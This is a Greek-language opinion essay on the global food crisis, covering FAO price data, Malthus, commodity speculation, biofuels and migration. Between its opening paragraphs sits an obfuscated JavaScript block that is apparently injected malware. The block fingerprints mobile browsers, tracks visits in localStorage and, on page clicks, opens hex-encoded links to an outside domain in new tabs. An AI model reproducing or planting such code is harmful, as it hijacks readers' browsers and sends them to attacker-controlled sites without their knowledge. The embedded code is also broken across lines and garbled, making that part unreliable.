

Παγκόσμια Κρίση Τροφίμων

Αν οι δημοσιονομικοί λογαριασμοί των κρατών των αναπτυγμένων χωρών εμφανίζουν πληθώρα προβλημάτων που η τρέχουσα κρίση τα μετατρέπει σε άκρως δισεπίλυτα, αυτό δεν σημαίνει ότι τα άλλα παγκόσμια υποσυστήματα παραμένουν υγιή. Οι πιστωτικές αγορές είναι απελπιστικά ανορθολογικές, το παγκόσμιο εμπόριο βρίθεται αντιφάσεων, οι αγορές πετρελαίου βρίσκονται στο έλεος της κερδοσκοπίας και το σύστημα παραγωγής και διανομής τροφίμων διέρχεται μία από τις μεγαλύτερες κρίσεις στην ιστορία του.

Η επισιτιστική κρίση απειλεί τεράστιες μάζες πληθυσμών σε ολόκληρο το κόσμο μη εξαιρουμένων και των αναπτυγμένων χωρών.

Οι κοινωνικές εξεγέρσεις στον αραβικό κόσμο, οι πόλεμοι και οι συγκρούσεις στην Αφρική, οι ευρωπαϊκές πολιτικές στον αγροτικό τομέα, κλπ, οδήγησαν τις τιμές των τροφίμων σε τρομακτικά υψηλά επίπεδα. Επίπεδα που εμφανίζονται για πρώτη φορά από το 1845. Σύμφωνα με τα στοιχεία που ανακοίνωσε ο FAO, (food and agriculture organization), κατά το τελευταίο έτος, η τιμή του καλαμποκιού αυξήθηκε κατά 52%, του σιταριού κατά 49% και της σόγιας κατά 28%. Μόνο από τις αυξήσεις αυτές 44 εκατομμύρια επιπλέον άνθρωποι βρέθηκαν κάτω από τη γραμμή της φτώχειας ακόμα και σε αναπτυγμένες χώρες που ανήκουν στη ομάδα των είκοσι μεγάλων οικονομικών δυνάμεων όπως η Αυστραλία.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
```

```
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]])(_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( |i|ip)|hs-c|ht(c-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]-|v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
```

```
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i|_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3
]],_0x129862;);const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

Η κρίση τροφίμων παίρνει μεγάλες διαστάσεις όσο οι τιμές αυξάνονται και όσο ο πληθυσμός του πλανήτη ακολουθεί την ίδια τάση με μεγαλύτερη όμως ταχύτητα. Αν συσχετίσουμε τον πληθυσμό με τη παραγωγή τροφίμων, όπως έκανε ο Μάλθους το 1798, θα δούμε ότι έχουμε αποφύγει την μαλθουσιανή παγίδα, δηλαδή την ασύμμετρη σχέση πηγών

διατροφής και πληθυσμιακής αύξησης, λόγω της τεχνολογίας, της γεωργικής εκμηχάνισης και της πράσινης επανάστασης.

Ωστόσο η άνιση παγκόσμια διανομή τροφίμων, και οι μηχανισμοί που την εκτρέφουν, έχουν εισάγει από το παράθυρο το αποτέλεσμα της μαλθουσιανής καταστροφικής πρόβλεψης.

Εκείνη την εποχή του Μάλθους, επιστήθιου φίλου του Ντέιβιντ Ρικάρντο, ο παγκόσμιος πληθυσμός έφθανε τα 800 εκατομμύρια ανθρώπων. Ο αριθμός αυτός ήταν αρκετός για να εκθρέψει τις ανησυχίες του Μάλθους και να του επιτρέψει να εμπνευσθεί τη θεμελιωμένη θεωρία του. Σήμερα ο πληθυσμός επί της γης ανέρχεται στα 6,9 δις ψυχών, με τάση αύξησης κατά 210,000 την ημέρα, όμως το G20, δεν δείχνει να συγκινείται αφού δεν συμπεριλαμβάνει στην ατζέντα των συζητήσεων του το πρόβλημα της διατροφικής κρίσης και των στάνταρτς διαβίωσης.

Όπως και στα άλλα παγκόσμια υποσυστήματα, έτσι και σ' αυτό, το πρόβλημα δεν έγκειται στο τομέα της επαρκούς παραγωγής αλλά στο τρόπο της διανομής και της ανταλλαγής. Δηλαδή στο χώρο εκείνο όπου παράγεται το κέρδος. Ποια θα ήταν η αγοραστική δύναμη του ενός και πλέον δισεκατομμυρίου ανθρώπων που λαμβάνουν ένα δολάριο την ημέρα, για να αφήσουν υψηλά περιθώρια κέρδους στους παραγωγούς τροφίμων; Έτσι αυτοί, προτιμούν να εξασφαλίζουν τιμές ασφαλείας με επιδοτήσεις και να καταστρέφουν την υπερπαραγωγή τους, παρά να τη διαθέτουν στις υπανάπτυκτες χώρες. Αυτή είναι η πολιτική της Ε. Ένωσης η οποία δαπανά 365 δις ευρώ κάθε χρόνο για επιδοτήσεις. Αλλά και άλλες χώρες όπως η Ουκρανία και η Ρωσία που θεωρούνται παραγωγοί τροφίμων, εφαρμόζουν πολιτική προστατευτισμού ελαχιστοποιώντας τις εξαγωγές τους.

Το γκρούπ των 20 είχε υποσχεθεί το 2009 βοήθεια σε τρόφιμα προς τις φτωχές χώρες ύψους 20 δις δολαρίων αλλά εκταμιεύθηκε μόνο το ένα δις.

Η κατάσταση φαίνεται πως έχει αφαιθεί στη τύχη της. Περίπου το ένα έκτο του παγκόσμιου πληθυσμού υποσιτίζεται και θα έλεγα πως λιμοκτονεί λόγω των υψηλών τιμών των τροφίμων. Σύμφωνα με κάποια θεωρία, ο πληθυσμός αυτός είναι περιττός, είναι μη απασχολισμός και είτε έτσι είτε με διάφορες διασπαρμένες επιδημίες θα πρέπει να εκλείψει. Μήπως όμως ο πλανήτης δεν είναι σε θέση να εκθρέψει τόσους πολλούς ανθρώπους που ζουν πάνω του; Η απάντηση είναι αρνητική. Υπολογισμοί μελετών του FAO, έχουν καταλήξει στο συμπέρασμα πως οι υπάρχοντες πόροι είναι ικανοί, με τη διαθέσιμη τεχνολογία, και την υψηλή παραγωγικότητα, να συντηρήσουν περίπου 12 δις ανθρώπων.

Τότε τι μπορεί να συμβαίνει και η φτώχεια εξαπλώνεται σαν φωτιά;

Οι φτωχές χώρες που πλήττονται δεν έχουν τα μέσα να αντιμετωπίσουν την κατάσταση. Η ύψωση των τιμών είναι ένας παράγοντας που δεν προέρχεται απ' αυτές. Αντίθετα οι αιτίες της ανόδου βρίσκονται στις δραστηριότητες των αναπτυγμένων χωρών. Κυρίως συνδέονται με τον τρόπο που είναι σήμερα διαρθρωμένο το παγκόσμιο οικονομικό σύστημα. Πρώτον τα αγαθά, commodities, έχουν δεχθεί και αυτά τη καταιγίδα των κερδοσκοπικών συναλλαγών. Έχουν χρηματοοικονομοποιηθεί, και οι τιμές τους διαπραγματεύονται ελεύθερα στις παγκόσμιες αγορές κάτω από τη δεσποτία της κερδοσκοπίας. Οι τιμές ωθούμενες από τις κερδοσκοπικές συναλλαγές ανέρχονται ανεξάρτητα από τις ισορροπίες που επιφέρει ο νόμος της προσφοράς και της ζήτησης. Το τμήμα Οικονομικών μελετών και προγραμματισμού του πανεπιστημίου του Νέου Δελχί, έχει αποδείξει πως οι τιμές των τροφίμων που δεν διαπραγματεύονται με συμβόλαια μελλοντικής εκπλήρωσης έχουν αυξηθεί ελάχιστα σε σχέση με τις τιμές των τροφίμων που διαπραγματεύονται.

Το ίδιο ακριβώς έχει συμβεί και με τις τιμές του πετρελαίου. Τα σχετικά συμβόλαια επιδρούν στην αύξηση της τιμής του κατά 40% περίπου σε σχέση με τη τιμή ισορροπίας που καθορίζεται από τη παγκόσμια προσφορά και τη ζήτηση.¹

Δεύτερον, η προσπάθεια απεξάρτησης των αναπτυγμένων χωρών από το μαύρο χρυσό, τις έχει στρέψει προς τα βιοκαύσιμα. Αυτό κατά συνέπεια, μειώνει τις καλλιεργήσιμες εκτάσεις και ταυτόχρονα τις παραγόμενες ποσότητες. Για παράδειγμα, στις ΗΠΑ η μείωση των εκτάσεων καλλιέργειας καλαμποκιού κατά 40% σε όφελος των βιοκαυσίμων, εξασθενεί τη κάλυψη των αναγκών του προϊόντος για 350 εκατομμύρια ανθρώπους.

Τρίτον, οι κλιματικές αλλαγές που είναι αποτέλεσμα μάλλον της υπερβιομηχανοποίησης των αναπτυσσόμενων χωρών και των γενικών πρακτικών των αναπτυγμένων, αυξάνουν τη μέση θερμοκρασία του πλανήτη και επιτείνουν τις περιόδους ξηρασίας και λειψιδρίας στις υπανάπτυκτες χώρες. Η αποψίλωση των δασών, οι μέθοδοι αλίευσης, κλπ, επιτείνουν τα φαινόμενα επιβάρυνσης της ατμόσφαιρας σωρευτικά με οδυνηρές συνέπειες για τις αποδόσεις των καλλιεργειών.

Τέταρτον, οι πολιτικές αγροτικού προστατευτισμού που, όπως είπαμε, ακολουθούν οι αναπτυγμένες χώρες και οι χώρες παραγωγοί τροφίμων, και οι οποίες βρίσκονται σε αντίθετη κατεύθυνση από την αναπτυξιακή ατζέντα της Doha, του Παγκόσμιου Οργανισμού Εμπορίου.

Από την άλλη πλευρά, τα διεφθαρμένα πολιτικά καθεστώτα των υπανάπτυκτων χωρών, η απουσία πολιτικών ελέγχου των γεννήσεων, κυρίως στην Αφρική και Ασία, οι θρησκόληπτικές και κοινωνικές εμμονές σε στερεοτυπικά πρότυπα, κυρίως στην Ινδία, επιτείνουν τα φαινόμενα της εξαθλίωσης και της φτώχειας αλλά και δεν επιτρέπουν την ελάχιστη βοήθεια που έρχεται από τις αναπτυγμένες περιοχές να φθάσει στους πραγματικά πληττόμενους.

Επειδή όμως το βασικό υποκείμενο είναι ο έμψυχος άνθρωπος και όχι οι άψυχοι αριθμοί και επειδή οι ροές στο πλανήτη γη είναι κυκλικές και όχι ευθύγραμμες, οι πεινασμένοι των υπανάπτυκτων παίρνουν το δρόμο, όπως τα γκνού, προς το πλούσιο “βορρά” προς ανεύρεση τροφής. Οι μεταναστεύσεις και οι μετακινήσεις των πληθυσμών, αυξάνουν τη πυκνότητα των ροών, κάνοντας τους κατοίκους των πλουσίων πόλεων της Δύσης να απορούν έκληκτοι γιατί πολλά προάστια των πόλεων τους έχουν γεμίσει τώρα από τους απόκληρους της γης και μειώνουν επικίνδυνα την ποιότητα της ζωής τους. Παρίσι, Λονδίνο, Αθήνα, Μόσχα, κλπ, εפוικίζονται από τους “περιττούς” και θα πρέπει “οπωσδήποτε να απαλλαγούν απ' αυτούς” με οποιοδήποτε τίμημα.

Τι θα μπορούσε να πει κανείς. Από τη μία οι πόλεμοι, στο Αφγανιστάν, στο Ιράκ, στη Σομαλία, στη Δυτική Όχθη, κλπ, και από την άλλη η χρηματοοικονομική διάρθρωση του παγκόσμιου συστήματος, δημιουργούν ένα θανάσιμο μείγμα απειλών που η έκρηξη του απειλεί ταυτόχρονα τις ζωές και των πλουσίων και των φτωχών.

1Η Γεωπολιτική των πετρελαίων και η Διεθνής κρίση. Κουρματζή, εκδ., Παπαζήση